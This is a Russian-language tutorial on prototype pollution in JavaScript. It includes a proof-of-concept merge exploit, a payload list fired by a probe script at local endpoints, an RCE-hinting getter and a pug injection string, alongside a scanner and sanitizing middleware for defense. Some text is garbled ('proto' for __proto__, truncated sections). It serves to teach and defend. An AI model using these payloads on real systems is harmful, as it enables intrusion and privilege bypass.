Ты сидишь там, в своей тайной вкладке, которую прячешь от коллег-джаваскриптеров, верно? Та вкладка, где у тебя открыт не какой-то уютный, прилизанный бложик про «10 лучших практик Vue», а что-то настоящее. Что-то, от чего слегка щемит в груди - смесь любопытства и предвкушения хака. Ты смотришь на этот дивный новый мир современных фреймворков, на эту гору абстракций, транскомпиляторов и «магических» методов, и в глубине души задаешься одним древним, как сам Object.prototype, вопросом: «А где здесь костыли? Где трещины? Где та червоточина, в которую можно просунуть свой щуп и ощутить дрожь реального железа, а не виртуального DOM?»
Я тебя услышал. Сегодня мы не будем восхищаться «элегантностью» и «интуитивностью». Сегодня мы будем препарировать один из самых изящных, коварных и фундаментальных багов в экосистеме JavaScript. Баг, который бьет не по твоему коду, а по самой его ДНК. Баг, который превращает безобидную операцию копирования объекта в полноценный RCE. Это не просто уязвимость, брат. Это философская проблема, обернутая в эксплуатацию. Это Prototype Pollution.
Забудь на время про SQL-инъекции и XSS. Они - как ножи: понятные, прямолинейные. Prototype Pollution - это нейротоксин. Он невидим, действует на системном уровне и меняет правила игры для всего приложения. Ты не атакуешь функцию. Ты атакуешь саму природу объектов в рантайме.
Мы пройдем путь от древних артефактов ES3 до самых свежих багов в Vue 3, React и Angular. Я покажу тебе не только теорию, но и инструменты - те самые скрипты и методики, которые ты сможешь запустить сегодня же.
Готов? Мы погружаемся в прототипную бездну.
Часть 1: Корень всех зол. Или как proto стал нашим проклятым наследием
Чтобы понять атаку, нужно понять, на чем стоит весь этот карточный домик под названием JavaScript. А стоит он на прототипном наследовании. Не пугайся, мы не будем зубрить сухую теорию из MDN. Давай посмотрим на это глазами того самого человека, который хочет все сломать.1.1. Душа объекта: [[Prototype]]
В мире JS нет классов в классическом понимании. Есть объекты. И у каждого объекта есть скрытое, внутреннее свойство [[Prototype]]. Это ссылка. Указатель на другой объект. «Родителя». Когда ты пытаешься прочитать свойство obj.someProperty, движок сначала ищет его в самом obj. Не нашел? Он идет по ссылке [[Prototype]] и ищет в родительском объекте. Не нашел и там? Идет к прототипу прототипа. И так до самого верха - до Object.prototype. А если и там нет - возвращает undefined. Эта цепочка - прототипная цепь.
Вот как это выглядит в дикой природе (запусти в консоли, это безопасно):
JavaScript:
const животное = { издаетЗвук: true };
const собака = { лает: true };
// Устаревший, но наглядный способ: устанавливаем прототип
собака.__proto__ = животное;
console.log(собака.лает); // true - свойство самого объекта
console.log(собака.издаетЗвук); // true - свойство прототипа!
console.log(собака.__proto__ === животное); // true
Да, я использовал proto. Это наше, такое родное, грязное, нестандартизированное годами, но работающее везде свойство-геттер/сеттер для внутреннего слота [[Prototype]]. Современный стандарт дает нам Object.getPrototypeOf() и Object.setPrototypeOf(), но в атаках все еще часто фигурирует старое доброе proto из-за его прямолинейности.
1.2. Святая святых: Object.prototype
Поднимись на самый верх прототипной цепи любого обычного объекта. Ты окажешься у истока. У Object.prototype. Это корневой объект, от которого наследуется (почти) все.
JavaScript:
const пустойОбъект = {};
console.log(пустойОбъект.toString); // function toString() { [native code] }
// Откуда метод? Смотри цепь:
// пустойОбъект -> Object.prototype -> null
В Object.prototype живут фундаментальные методы: toString, valueOf, hasOwnProperty, constructor. Если ты изменишь Object.prototype, ты изменишь все объекты в рантайме (кроме тех, у кого цепь прервана - но об этом позже). Это глобальная мутация состояния среды выполнения. Представь, что ты можешь изменить законы физики для всей программы. Это и есть Prototype Pollution.
1.3. Первое заражение: наивное слияние объектов
Посмотри на этот код. Он в тысячах проектов, туториалов, библиотек.
JavaScript:
function merge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key)) {
target[key] = source[key];
}
}
return target;
}
const config = { theme: 'dark' };
const userInput = { fontSize: 14 };
const finalConfig = merge(config, userInput);
// Все ок. finalConfig = { theme: 'dark', fontSize: 14 }
А теперь представь, что userInput - это не контролируемые тобой данные, а payload извне. Что, если злоумышленник пришлет такой объект?
JavaScript:
const злойInput = {
fontSize: 14,
__proto__: {
isAdmin: true
}
};
Наивно ожидая, что proto - это просто очередное строковое свойство, разработчик запускает наш merge. Но for..in (если не использовать hasOwnProperty правильно, а его часто опускают!) проходит и по унаследованным свойствам. В некоторых условиях (особенно в старых движках или при определенной сериализации/десериализации) свойство proto может быть перечисляемым. И тогда в момент присваивания target[key] = source[key] для key = 'proto' сработает сеттер proto объекта target. Мы только что изменили прототип target!
Но это цветочки. Классическая атака выглядит тоньше. Она эксплуатирует не proto в цикле, а присваивание через квадратные скобки с динамическим ключом.
1.4. Механика заражения: путь от constructor к pollution
Вот где начинается магия. Смотри.
JavaScript:
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function mergeDeep(target, source) {
for (let key in source) {
if (isObject(source[key])) {
if (!target[key]) {
target[key] = {};
}
mergeDeep(target[key], source[key]); // Рекурсия!
} else {
target[key] = source[key]; // ОПАСНАЯ СТРОКА
}
}
return target;
}
Это рекурсивное слияние. Стандартная вещь для конфигов. Теперь - внимание - payload:
JavaScript:
const нашОбъект = {};
const злойPayload = JSON.parse('{"a": 1, "__proto__": {"isPolluted": true}}');
// Или, что чаще: {"constructor": {"prototype": {"isPolluted": true}}}
mergeDeep(нашОбъект, злойPayload);
Что произойдет? Функция получит ключ 'proto'. source[key] - это объект {"isPolluted": true}. isObject вернет true. Проверит target[key]. А target - это наш исходный объект. У него есть свойство proto? Да, это геттер/сеттер. target['proto'] вернет прототип target (то есть Object.prototype). Это объект? Да! Значит, условие if (!target[key]) пропускается (потому что target[key] - это Object.prototype, он не null и не undefined). И мы уходим в рекурсивный вызов: mergeDeep(Object.prototype, {"isPolluted": true}).
На следующей итерации ключ - 'isPolluted'. source[key] - примитив true. isObject - false. Выполняется target[key] = source[key], где target - это Object.prototype. БАМ! Мы только что присвоили свойство isPolluted со значением true в корневой прототип всех объектов!
Проверяем:
Код:
console.log({}.isPolluted); // true!
console.log(нашОбъект.isPolluted); // true!
console.log(Object.prototype.isPolluted); // true!
Заражение пошло по всей системе. Любой новый объект, созданный после заражения, будет иметь это свойство.
Практический инструмент №1: Минимальный PoC для тестирования
Создай файл test_pollution.js:
JavaScript:
// Функция уязвимого глубокого слияния
function mergeDeep(target, source) {
for (let key in source) {
if (source[key] && typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
mergeDeep(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// 1. Проверяем чистоту среды
console.log('До заражения:', {}.polluted);
// 2. Имитируем получение вредоносных данных (например, из query параметра)
// В реальности это мог бы быть: JSON.parse(req.query.config)
const maliciousPayload = JSON.parse('{"__proto__": {"polluted": "YES"}}');
// 3. Выполняем уязвимую операцию
const obj = {};
mergeDeep(obj, maliciousPayload);
// 4. Проверяем заражение
console.log('После заражения:', {}.polluted);
console.log('obj.polluted:', obj.polluted);
console.log('Object.prototype.polluted:', Object.prototype.polluted);
// 5. Создаем новый объект - он тоже заражен!
const newObj = {};
console.log('Новый объект:', newObj.polluted);
Запусти его: node test_pollution.js. Увидишь 'YES'. Поздравляю, ты только что совершил свою первую прототипную поллюцию. Это фундамент. Дальше будет интереснее.
Часть 2: Векторы атаки. От свойства polluted до Remote Code Execution
Окей, мы можем добавить любому объекту свойство isAdmin. И что? Это же не приведет к выполнению кода. Или приведет? Брат, здесь начинается самое интересное. Prototype Pollution - это не финальная цель, а первый шаг. Это привилегия, эскалация привилегий в мире объектов. С помощью этого примитива мы можем добиться многого, вплоть до RCE. Давай разберем основные векторы.2.1. Ломаем логику приложения (Client-Side)
Представь себе фронтенд-фреймворк, который проверяет права так:
JavaScript:
// Где-то в коде Vue/React компонента
if (user.isAdmin) {
showAdminPanel();
}
Или другой пример - обход проверок:
JavaScript:
// Проверка: если пользователь не заблокирован
if (!user.isBlocked) {
allowAccess();
}
Заражаем Object.prototype свойством isBlocked: false. Вуаля - доступ открыт.
2.2. Атаки на DOM: от Pollution до XSS
Это один из самых мощных клиентских векторов. Многие фреймворки для шаблонизации используют свойства объектов для работы с DOM. Если мы можем загрязнить прототип, мы можем влиять на рендеринг.
Пример с AngularJS (старая, но очень показательная история):
AngularJS имел «функциональность» (читай: баг-фичу), которая при обходе объекта в директивах вроде ng-repeat использовала не hasOwnProperty, а просто перебор. Если в Object.prototype появлялось новое свойство, AngularJS мог попытаться отобразить его в DOM.
Payload мог выглядеть так:
JavaScript:
// Заражаем прототип функцией, которая выполнится в контексте Angular
Object.prototype.ngClick = 'alert(1)';
// Или свойством, которое сломает логику и приведет к выполнению кода через вставку в HTML.
Более современные фреймворки, такие как Vue и React, имеют защиту от такого прямого внедрения, но не всегда. Все зависит от того, как разработчик использует данные в шаблонах.
2.3. Атаки на Node.js: путь к RCE
Вот где Prototype Pollution становится по-настоящему опасной. На сервере мы можем атаковать глобальные объекты, влияющие на выполнение кода.
Вектор через console.log / util.inspect:
В Node.js console.log для объектов использует модуль util.inspect. Если в Object.prototype добавить свойство, которое является геттером с побочным эффектом, то при логировании объекта может выполниться произвольный код.
Вектор через шаблонизаторы:
Популярные библиотеки, такие как pug (ранее jade), handlebars, ejs, могут использовать зараженные объекты в качестве контекста рендеринга. Если в прототип добавлено свойство, которое интерпретируется как команда шаблонизатора, можно добиться выполнения серверного кода.
Пример для pug (упрощенно):
JavaScript:
// Если в шаблоне есть `#{someProperty}`, и `someProperty` берется из пользовательских данных...
// Заражаем прототип:
Object.prototype.someProperty = "';process.exit(1);//";
// При рендеринге это может сломать контекст и внедрить код.
Вектор через переопределение встроенных методов:
Самое опасное. Мы можем переписать ключевые методы Object.prototype.
- Переопределение toString или valueOf: Эти методы вызываются неявно в многих операциях (конкатенация строк, математические операции). Если сделать их вредоносными, можно поймать выполнение в неожиданный момент.
- Переопределение constructor: У каждого объекта есть свойство constructor, ссылающееся на функцию-создатель. Object.prototype.constructor - это Object. Если его переопределить, можно сломать логику, которая relies на этом.
- Геттеры/Сеттеры в прототипе: Это ядерное оружие. Мы можем добавить в Object.prototype не просто свойство, а геттер.
JavaScript:
Object.defineProperty(Object.prototype, 'evil', {
get() {
console.log('Геттер вызван!');
// Здесь может быть любой код: require('child_process').execSync('calc');
return 'payload';
},
enumerable: false // Чтобы не светиться в циклах
});
Теперь любой доступ к свойству .evil любого объекта вызовет наш код! Представь, что есть проверка:
JavaScript:
if (someConfig.evil !== undefined) {
// что-то делаем
}
Сама проверка вызовет геттер и выполнит наш код.
2.4. Пример реальной цепи: от Pollution до RCE в популярных библиотеках
В 2019-2021 годах была найдена уязвимость (CVE-2019-10744 и подобные) в библиотеке lodash (версии < 4.17.12). Функция _.defaultsDeep была подвержена Prototype Pollution. Цепочка атаки могла быть такой:
- Злоумышленник находит точку, где приложение использует _.defaultsDeep с пользовательскими данными (например, конфиг из API).
- Отправляет payload, заражающий Object.prototype.
- Приложение позже использует другую библиотеку, например, mongodb или mongoose, которая в своей внутренней логике проверяет наличие определенных свойств у объектов (например, db).
- Из-за зараженного прототипа проверка проходит иначе, что может привести к инъекции команд NoSQL или, в сочетании с другими факторами, к RCE через child_process.
Теория без практики мертва. Хочешь сам поискать эти дыры? Вот тебе простой, но эффективный инструмент для черного ящика/анализа кода.
Создай файл pp-finder.js. Это примитивный статический анализатор, который ищет опасные паттерны в коде JavaScript.
JavaScript:
const fs = require('fs');
const path = require('path');
const ОПАСНЫЕ_ФУНКЦИИ = [
'merge', 'deepMerge', 'extend', 'deepExtend', 'assign', 'deepAssign',
'clone', 'deepClone', 'copy', 'deepCopy', 'mixin', 'defaults', 'defaultsDeep'
];
const ОПАСНЫЕ_БИБЛИОТЕКИ = ['lodash', 'underscore', 'jquery', 'extendify', 'deepmerge'];
const ОПАСНЫЕ_ПАТТЕРНЫ = [
/for\s*\(\s*(var|let|const)\s+\w+\s+in\s+\w+\s*\)/g, // for..in без hasOwnProperty
/\[\s*(\w+|\"[^\"]+\"|\'[^\']+\')\s*\]\s*=/g, // Динамическое присваивание []
/\.__proto__/g,
/constructor\.prototype/g,
/Object\.defineProperty\([^)]*prototype[^)]*\)/g
];
function scanFile(filePath) {
const code = fs.readFileSync(filePath, 'utf8');
const lines = code.split('\n');
let findings = [];
lines.forEach((line, index) => {
// Проверка на использование опасных функций
ОПАСНЫЕ_ФУНКЦИИ.forEach(func => {
if (line.includes(func) && !line.trim().startsWith('//')) {
findings.push({
line: index + 1,
type: 'DANGEROUS_FUNCTION',
message: `Найдена потенциально опасная функция: ${func}`,
code: line.trim()
});
}
});
// Проверка на опасные паттерны
ОПАСНЫЕ_ПАТТЕРНЫ.forEach(pattern => {
const matches = [...line.matchAll(pattern)];
matches.forEach(match => {
findings.push({
line: index + 1,
type: 'DANGEROUS_PATTERN',
message: `Найден опасный паттерн: ${match[0]}`,
code: line.trim()
});
});
});
// Проверка на require/import опасных библиотек
if (line.includes('require(') || line.includes('import')) {
ОПАСНЫЕ_БИБЛИОТЕКИ.forEach(lib => {
if (line.includes(lib)) {
findings.push({
line: index + 1,
type: 'DANGEROUS_LIBRARY',
message: `Импортируется библиотека с историей уязвимостей: ${lib}`,
code: line.trim()
});
}
});
}
});
if (findings.length > 0) {
console.log(`\n=== Результаты сканирования ${filePath} ===`);
findings.forEach(f => {
console.log(`[Строка ${f.line}] ${f.type}: ${f.message}`);
console.log(` > ${f.code}`);
});
}
}
function scanDirectory(dir) {
const items = fs.readdirSync(dir);
items.forEach(item => {
const fullPath = path.join(dir, item);
const stat = fs.statSync(fullPath);
if (stat.isDirectory()) {
// Пропускаем node_modules и .git
if (!item.includes('node_modules') && !item.includes('.git')) {
scanDirectory(fullPath);
}
} else if (stat.isFile() && (fullPath.endsWith('.js') || fullPath.endsWith('.ts') || fullPath.endsWith('.jsx') || fullPath.endsWith('.tsx'))) {
scanFile(fullPath);
}
});
}
// Запуск: node pp-finder.js ./path/to/your/code
const targetDir = process.argv[2] || '.';
console.log(`Начинаем сканирование директории: ${targetDir}`);
scanDirectory(targetDir);
Этот скрипт - лишь отправная точка. Он найдет подозрительные места. Дальше нужно смотреть код вручную, искать места, где в эти опасные функции попадают непроверенные пользовательские данные.
Часть 3: Охота в дикой природе. Фреймворки под прицелом
Теперь, имея в руках теорию и инструменты, давай пройдемся по конкретным фреймворкам и библиотекам. Где искать слабые места? Как они себя проявляют?3.1. jQuery: старый, но опасный
Да, его все еще используют. И у него была своя история с Prototype Pollution. В версиях до 3.4.0 функция $.extend(true, {}, ...) (глубокое копирование) была уязвима. Payload был классическим: {"proto": {"polluted": true}}. Обновляй jQuery, если видишь старую версию. Это всегда приоритет.
3.2. Angular (не AngularJS): защищен, но не неприступен
Angular, начиная с версий 2+, имеет более строгую архитектуру. Сами механизмы фреймворка менее подвержены прямой поллюции, потому что:
- Используют TypeScript с интерфейсами (хотя это только на этапе компиляции).
- Внутренние объекты часто создаются с Object.create(null) (об этом способе защиты - позже).
- Механизмы Dependency Injection и Change Detection работают не через прямые манипуляции с прототипами пользовательских объектов.
- Сервисах/модулях, которые некорректно обрабатывают конфигурационные объекты, приходящие с бэкенда.
- Сторонних библиотеках для Angular, которые используют уязвимые версии lodash или собственные небезопасные функции слияния.
- Коде самого разработчика, который написал что-то вроде Object.assign(this.config, userInput) в компоненте.
React сам по себе не выполняет глубокого слияния пропсов или состояния. setState делает shallow merge. Но опасность таится вокруг:
- Библиотеки управления состоянием: Redux (в комбинации с redux-merge или небезопасными редьюсерами), MobX. Если в редьюсере происходит глубокое слияние старого и нового состояния на основе данных из API - это потенциальная точка входа.
- Серверный React (Next.js, Gatsby): На сервере риск RCE резко возрастает. Если при получении данных для статической генерации (getStaticProps) или серверного рендеринга (getServerSideProps) происходит небезопасное слияние объектов из запроса, можно заразить глобальный Object.prototype на сервере, что затронет все последующие запросы.
- Утилитарные функции: В любом проекте React обычно есть папка utils/ с кучей вспомогательных функций. Именно там живут самописные deepMerge, getNestedProperty, которые могут быть уязвимы.
Vue использует систему реактивности, основанную на геттерах/сеттерах (Vue 2) или Proxy (Vue 3). Может ли это усилить атаку?
- Vue 2: При инициализации данных компонента Vue рекурсивно обходит объект и превращает его свойства в реактивные с помощью Object.defineProperty. Если Object.prototype уже был заражен до инициализации Vue, то Vue попытается сделать реактивными и эти зараженные свойства! Это может привести к неожиданному поведению, но не обязательно к выполнению кода. Однако, если в payload был геттер, Vue вызовет его в процессе обхода, что может привести к выполнению кода на этапе создания компонента.
- Vue 3 (Proxy): Proxy оборачивает объект и перехватывает операции. Он лучше изолирован от прототипной цепи исходного объекта. Но опять же, если заражение произошло до создания reactive/ref, Proxy будет перехватывать доступ и к зараженным свойствам. Риск есть.
3.5. Node.js Backend: Express, Fastify, NestJS
Здесь простор для атаки огромен.
- Парсинг JSON: app.use(express.json()). Сам по себе парсер body-parser (встроенный в Express) защищен. Но что происходит с распарсенным объектом req.body дальше?
- Middleware для валидации/нормализации: Многие проекты пишут middleware, которые "чистят" или "обогащают" req.body. Часто это делается через циклы по свойствам и присваивания.
- ORM/ODM (Sequelize, Mongoose, TypeORM): Эти библиотеки создают экземпляры моделей на основе пользовательских данных. Если в их внутренней логике есть небезопасное копирование, можно попытаться заразить прототип модели, что повлияет на все экземпляры.
- Конфигурационные файлы: Часто конфиг приложения (порты, ключи API) загружается из JSON-файла и затем мержится с переменными окружения. Уязвимая функция слияния на этом этапе может привести к катастрофе.
Этот инструмент уже для динамического тестирования. Он отправляет в эндпоинты различные payloadы и проверяет, произошло ли заражение. Используй ТОЛЬКО на своих приложениях или с явного разрешения!
Создай файл pollution-probe.js:
JavaScript:
const axios = require('axios');
const { URL } = require('url');
// Коллекция payload'ов для разных контекстов и обходов защиты
const PAYLOADS = [
// Классические
{ pollution: 'proto', payload: { "__proto__": { "isPolluted": "PROTO" } } },
{ pollution: 'constructor', payload: { "constructor": { "prototype": { "isPolluted": "CONSTRUCTOR" } } } },
// Обходы, если __proto__ фильтруется
{ pollution: 'proto-bracket', payload: { "[\"__proto__\"]": { "isPolluted": "BRACKET_PROTO" } } },
{ pollution: 'constructor-bracket', payload: { "[\"constructor\"][\"prototype\"]": { "isPolluted": "BRACKET_CONSTRUCTOR" } } },
// Через Object.defineProperty (если код использует его небрежно)
{ pollution: 'defineProperty', payload: {
"defineProperty": {
"value": {
"isPolluted": "DEFINE_PROPERTY"
}
}
}},
];
// Цели для проверки (добавь свои эндпоинты)
const TARGETS = [
{ method: 'POST', url: 'http://localhost:3000/api/config', name: 'Конфигурационный эндпоинт' },
{ method: 'POST', url: 'http://localhost:3000/api/user/prefs', name: 'Настройки пользователя' },
{ method: 'GET', url: 'http://localhost:3000/api/data?params=', name: 'GET с query-параметрами', isQuery: true },
];
async function probeTarget(target, payloadConfig) {
console.log(`\n[!] Тестируем ${target.name} (${target.url}) с payload: ${payloadConfig.pollution}`);
let testUrl = target.url;
let data = null;
if (target.isQuery) {
// Для GET-запросов сериализуем payload в query-строку (очень упрощенно)
const query = encodeURIComponent(JSON.stringify(payloadConfig.payload));
testUrl = `${target.url}${query}`;
} else {
data = payloadConfig.payload;
}
try {
const response = await axios({
method: target.method,
url: testUrl,
data: data,
headers: { 'Content-Type': 'application/json' },
validateStatus: () => true // Принимаем любой статус
});
console.log(` Статус: ${response.status}`);
// Проверяем, произошло ли заражение ГЛОБАЛЬНО (для демо - делаем запрос на спец. эндпоинт)
// В реальном тесте нужно иметь "сенсор" - отдельный эндпоинт, который возвращает чистый объект и проверяет его.
// Или проверять косвенно через поведение приложения.
// Здесь - упрощенная проверка: если в ответе есть признаки ошибки, связанной с прототипом.
if (response.data && typeof response.data === 'string' && response.data.includes('prototype')) {
console.log(` [ВОЗМОЖНО УЯЗВИМО] Ответ содержит упоминание прототипа.`);
}
} catch (error) {
console.log(` Ошибка запроса: ${error.code}`);
}
// Даем время на возможное выполнение асинхронного кода после заражения
await new Promise(resolve => setTimeout(resolve, 500));
}
async function runProbe() {
console.log('=== Запуск Pollution Probe ===');
console.log('ВАЖНО: Этот инструмент для тестирования своих приложений.');
// Сначала проверяем сенсор (должен быть создан в тестовом приложении)
try {
const sensorCheck = await axios.get('http://localhost:3000/api/sensor');
console.log('Сенсор доступен.');
} catch (e) {
console.log('Внимание: Сенсор заражения не найден. Результаты будут менее точными.');
console.log('Рекомендуется создать GET /api/sensor, который возвращает {} и проверяет его на наличие свойств заражения.');
}
for (const target of TARGETS) {
for (const payload of PAYLOADS) {
await probeTarget(target, payload);
}
}
console.log('\n=== Проверка глобального заражения ===');
// Финальная проверка: делаем запрос на сенсор или просто проверяем Object.prototype
// В реальном тесте это должно быть отдельным запросом.
const finalCheck = await axios.get('http://localhost:3000/api/sensor').catch(() => ({ data: {} }));
if (finalCheck.data && finalCheck.data.isPolluted) {
console.log(`[!!!] ОБНАРУЖЕНО ГЛОБАЛЬНОЕ ЗАРАЖЕНИЕ: ${finalCheck.data.isPolluted}`);
} else {
console.log('[+] Глобальное заражение не обнаружено (по данным сенсора).');
}
}
runProbe();
Это фреймворк для теста. Тебе нужно будет адаптировать TARGETS под свое приложение и, желательно, добавить в тестовое приложение специальный «сенсорный» эндпоинт, который создает новый чистый объект и проверяет его на наличие неожиданных свойств.
Часть 4: Защита. Как построить непробиваемый (почти) код
Теперь, когда мы знаем, как атаковать, давай поговорим о защите. Не с позиции менеджера, который требует «сделать безопасно», а с позиции инженера, который понимает механику и хочет по-настоящему закрыть дыру.4.1. Защита на уровне кода: что писать, а что нет
- Запрети proto, constructor и prototype как ключи.
В любой функции, которая обрабатывает пользовательские данные (слияние, копирование, установка свойств), добавляй проверку:
Но помни: это не панацея. Обходы есть (например, ["proto"] как строка, Unicode-эквиваленты).JavaScript:const ОПАСНЫЕ_КЛЮЧИ = ['__proto__', 'constructor', 'prototype']; function safeSet(obj, key, value) { if (ОПАСНЫЕ_КЛЮЧИ.includes(key)) { return; // Или выбросить ошибку } obj[key] = value; }
- Используй Object.create(null) для объектов1-мап.
Если тебе нужен чистый объект как хеш-мапа, без всякого наследования, создавай его так:
JavaScript:const pureMap = Object.create(null); console.log(pureMap.__proto__); // undefined console.log('toString' in pureMap); // false
У такого объекта цепь прототипов обрывается на null. Он не наследует ничего от Object.prototype. Заразить его через proto невозможно, потому что у него нет сеттера proto. Это одна из самых сильных защит. - Заморозка прототипа (в development).
В режиме разработки можно (с осторожностью!) заморозить или запечатать Object.prototype, чтобы предотвратить его модификацию:
JavaScript:if (process.env.NODE_ENV === 'development') { Object.freeze(Object.prototype); // Или менее строго: Object.seal(Object.prototype); }
Это вызовет ошибку при любой попытке добавления/изменения свойства. Но делай это только в самом начале приложения, до загрузки любых библиотек, иначе они могут сломаться. - Используй Map и Set вместо объектов.
Коллекции Map и Set не используют прототипную цепь для хранения ключей и значений. Ключом может быть любая строка, включая 'proto', и это не приведет к заражению.
JavaScript:const map = new Map(); map.set('__proto__', { polluted: true }); console.log({}.polluted); // undefined! Безопасно.
- Отказ от рекурсивного слияния.
Спроси себя: «А действительно ли мне нужно глубокое слияние?». Часто достаточно shallow merge через Object.assign() или spread-оператор {...a, ...b}. Они не уходят в рекурсию и безопасны, если не делать их с глубоко вложенными объектами вручную. - Санкционированное глубокое слияние.
Если глубокое слияние необходимо, используй проверенные библиотеки с защитой от поллюции. Например, lodash версии 4.17.12 и выше. Или deepmerge (но проверяй версию!). Или напиши свою, но с учетом всех защит:
JavaScript:function deepMergeSafe(target, source, seen = new WeakMap()) { // Защита от циклических ссылок if (seen.has(source)) { return seen.get(source); } seen.set(source, target); for (let key of Object.keys(source)) { // Object.keys не включает унаследованные свойства // 1. Запрет опасных ключей if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue; } const sourceVal = source[key]; const targetVal = target[key]; // 2. Рекурсия только для "простых" объектов, не null и не массив (по желанию) if (sourceVal && typeof sourceVal === 'object' && !Array.isArray(sourceVal) && sourceVal.constructor === Object) { if (targetVal && typeof targetVal === 'object' && targetVal.constructor === Object) { target[key] = deepMergeSafe(Object.assign({}, targetVal), sourceVal, seen); } else { // 3. Создаем НОВЫЙ объект, а не используем target[key], который может быть геттером target[key] = deepMergeSafe({}, sourceVal, seen); } } else { // 4. Присваивание примитивов target[key] = sourceVal; } } return target; }
- npm audit - твой друг и враг. Он завалит тебя предупреждениями, но он прав. Регулярно обновляй зависимости, особенно lodash, underscore, jquery, handlebars, mongoose.
- **Используй overrides в package.json (npm) или resolutions (yarn), чтобы форсировать обновление транзитивных зависимостей, которые содержат уязвимости.
- Рассмотри инструменты статического анализа кода (SAST) для JavaScript/TypeScript: Semgrep, CodeQL, SonarQube. Они могут находить паттерны, уязвимые для Prototype Pollution.
- Для Node.js: Рассмотри использование --disable-proto флага (экспериментальный в V8). Он отключает возможность модификации Object.prototype.proto. Запускай так: node --disable-proto=throw app.js.
- Используя TypeScript, настрой строгие проверки ("strict": true). Это не предотвратит атаку в рантайме, но сделает код чище и уменьшит вероятность ошибок.
- В браузерных приложениях используй Content Security Policy (CSP). Хотя CSP не защитит от самой поллюции, она может предотвратить эксплуатацию ее последствий (например, выполнение инжектированного через XSS кода).
Вот простой middleware для Express, который очищает входящие объекты req.body, req.query и req.params от потенциально опасных ключей.
Создай файл prototype-pollution-guard.js:
JavaScript:
// middleware/prototype-pollution-guard.js
const dangerousKeys = /^(__proto__|constructor|prototype)$/i;
/**
* Рекурсивно обходит объект и удаляет ключи, совпадающие с dangerousKeys.
* Создает копию, не мутирует оригинал (важно для req.query).
*/
function sanitizeObject(obj, seen = new WeakMap()) {
// Обрабатываем только объекты и массивы
if (obj === null || typeof obj !== 'object') {
return obj;
}
// Защита от циклических ссылок
if (seen.has(obj)) {
return seen.get(obj);
}
// Создаем "чистый" контейнер того же типа
const sanitized = Array.isArray(obj) ? [] : {};
seen.set(obj, sanitized);
for (let key in obj) {
// Проверяем, что свойство принадлежит самому объекту, а не прототипу
if (!Object.prototype.hasOwnProperty.call(obj, key)) {
continue;
}
// Если ключ опасный - пропускаем
if (dangerousKeys.test(key)) {
console.warn(`[Prototype Pollution Guard] Обнаружен и удален опасный ключ: ${key}`);
continue;
}
// Рекурсивная очистка значения
sanitized[key] = sanitizeObject(obj[key], seen);
}
return sanitized;
}
module.exports = function prototypePollutionGuard(req, res, next) {
// Очищаем body, query, params
if (req.body) {
req.body = sanitizeObject(req.body);
}
if (req.query) {
req.query = sanitizeObject(req.query);
}
if (req.params) {
req.params = sanitizeObject(req.params);
}
next();
};
Подключи его в своем app.js до любых роутов:
JavaScript:
const express = require('express');
const app = express();
const prototypePollutionGuard = require('./middleware/prototype-pollution-guard');
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(prototypePollutionGuard); // Защита здесь!
// ... ваши роуты
Этот middleware - не серебряная пуля, но он создает серьезный барьер для большинства автоматических сканеров и простых атак.
Часть 5: Будущее. Куда движется фронт и что нас ждет?
Prototype Pollution - не новая проблема, но она обрела второе дыхание с ростом сложности JS-экосистемы. Что дальше?- Статические анализаторы станут умнее. Инструменты вроде CodeQL от GitHub уже имеют запросы для поиска Prototype Pollution. Они будут внедряться в CI/CD.
- Язык будет защищаться. Флаг --disable-proto - первый шаг. Возможно, в будущих спецификациях ECMAScript появятся более строгие режимы, где модификация Object.prototype будет невозможна или будет требовать явного разрешения.
- Фреймворки откажутся от mutable объектов по умолчанию. Тренд на иммутабельность (как в Immer) и использование Map/Set снижает риски.
- Атаки станут тоньше. Мы уже видим exploitation не через proto, а через constructor.prototype или через геттеры в прототипах специфичных классов (например, в полифиллах). Исследователи будут искать цепочки гаджетов (gadget chains), которые превращают локальную поллюцию в полноценный RCE в конкретных библиотеках.
Prototype Pollution - это не просто баг. Это напоминание. Напоминание о том, что JavaScript вырос из простого скриптового языка в монстра, на котором держится половина веба. И в его ДНК, в самой основе прототипного наследования, заложена и мощь, и уязвимость.
Понимание этой атаки - это не просто навык пентестера. Это глубокое понимание языка, в котором ты работаешь. Это способность видеть систему не как черный ящик, а как совокупность взаимосвязанных механизмов, каждый из которых может сломаться.
Мы прошли долгий путь: от основ прототипов до инструментов для сканирования и защиты. Ты теперь знаешь, где искать, как тестировать и как закрывать дыры.
Используй это знание с умом. Не для бессмысленного вандализма на левых сайтах, а для укрепления своих проектов, для аудита кода своей команды, для того чтобы стать тем самым человеком, который не просто пишет код, а понимает, как он работает на самом низком уровне.
Потому что в мире, полном абстракций, самое ценное - это понимание того, что под ними.
Код - закон. Но закон написан нами.